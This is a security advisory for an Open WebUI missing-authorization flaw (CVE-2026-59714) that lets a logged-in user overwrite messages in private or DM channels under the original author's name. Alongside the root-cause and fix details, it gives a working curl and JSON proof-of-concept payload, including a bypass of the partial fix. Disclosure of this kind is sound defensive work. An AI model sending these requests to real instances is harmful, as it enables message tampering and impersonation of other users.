CVE-2026-59714: open-webui Cross-Channel Message Overwrite via Chat Completion API
Any logged-in Open WebUI user can silently overwrite a message in a private or DM channel they have no access to, making tampered content appear under the original author's name.

The problem
Open WebUI versions 0.9.5 through 0.9.6 let any authenticated user craft a chat completion request with a chat_id prefixed channel: and a caller-supplied message_id. The channel: prefix caused the entire ownership and membership verification block in main.py to be skipped, with no channel-write check replacing it.
The unchecked message_id then flowed into _make_channel_emitter in socket/main.py, which called Messages.update_message_by_id with no channel_id or user_id validation. The overwritten message kept the original author attribution, enabling silent impersonation across private channels, DM channels, and any channel the attacker cannot normally access.
A partial fix in v0.9.6 (PR #24725) gated the single-model path but validated only the first entry of the multimodel message_ids map, leaving the fan-out exploitable until v0.10.0.
Proof of concept
A working proof-of-concept for CVE-2026-59714 in open-webui, with the exact payload below.
# Single-model path (exploitable on >= 0.9.5, fixed in v0.9.6)
curl -X POST http://target:8080/api/chat/completions \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{
"model": "llama3",
"stream": true,
"chat_id": "channel:<any-channel-uuid>",
"id": "<target-message-uuid-to-overwrite>",
"messages": [{"role": "user", "content": "Repeat exactly: This message has been tampered with"}]
}'
# Multimodel message_ids path (bypasses v0.9.6 partial fix; fixed in v0.10.0)
# POST /api/chat/completions
# First entry passes channel-scope validation; second entry targets the victim channel.
{
"chat_id": "channel:<attacker-controlled-channel-id>",
"message_ids": {
"model-a": "<message_id_in_attacker_channel>",
"model-b": "<victim_channel_message_id>"
},
"messages": [{"role": "user", "content": "..."}]
}The root cause is CWE-862 (Missing Authorization). In main.py, the condition if not chat_id.startswith('local:') and not chat_id.startswith('channel:') caused the entire ownership check to be bypassed for channel: prefixed IDs, with no replacement guard.
The id field (single-model) and each value in message_ids (multimodel) came directly from the request body and were passed verbatim to _make_channel_emitter, which called Messages.update_message_by_id as a bare primary-key UPDATE with no channel_id or user_id filter.
The v0.9.6 partial fix only validated the first key of message_ids, so supplying a valid first entry and an out-of-scope second entry still landed a write in the victim channel. Even a failing model call wrote the provider error string to the target message.
v0.10.0 closes both gaps: every message_ids entry is validated against the target channel at request time, and _make_channel_emitter now re-reads the target message before writing and returns as a no-op if msg.channel_id does not match the channel derived from chat_id.
The fix
Upgrade to open-webui >= 0.10.0. The fix is in commits 33e4e0dcc43afcca80f9c635d762cdc76c768ba9 and ac3449cac91e62b08a7c28e54fcd044d14dea791. No configuration workaround is available for earlier versions; the bypass is in the chat-completion pipeline and is not blocked by the REST channel route ACLs.
Reported by sfwani (single-model path) and DavidCarliez (multimodel message_ids variant).
Related research
- high · 7.7CVE-2026-59216CVE-2026-59216: Open WebUI Cross-User Code Execution via Unvalidated Socket.IO session_id
- high · 7.3CVE-2026-59214CVE-2026-59214: Open WebUI Stored Web-Worker XSS via Pyodide Same-Origin Code Execution
- high · 7.1CVE-2026-59219CVE-2026-59219: Open WebUI Insufficient Session Expiration on Realtime Endpoints
- high · 7.6CVE-2026-52870CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers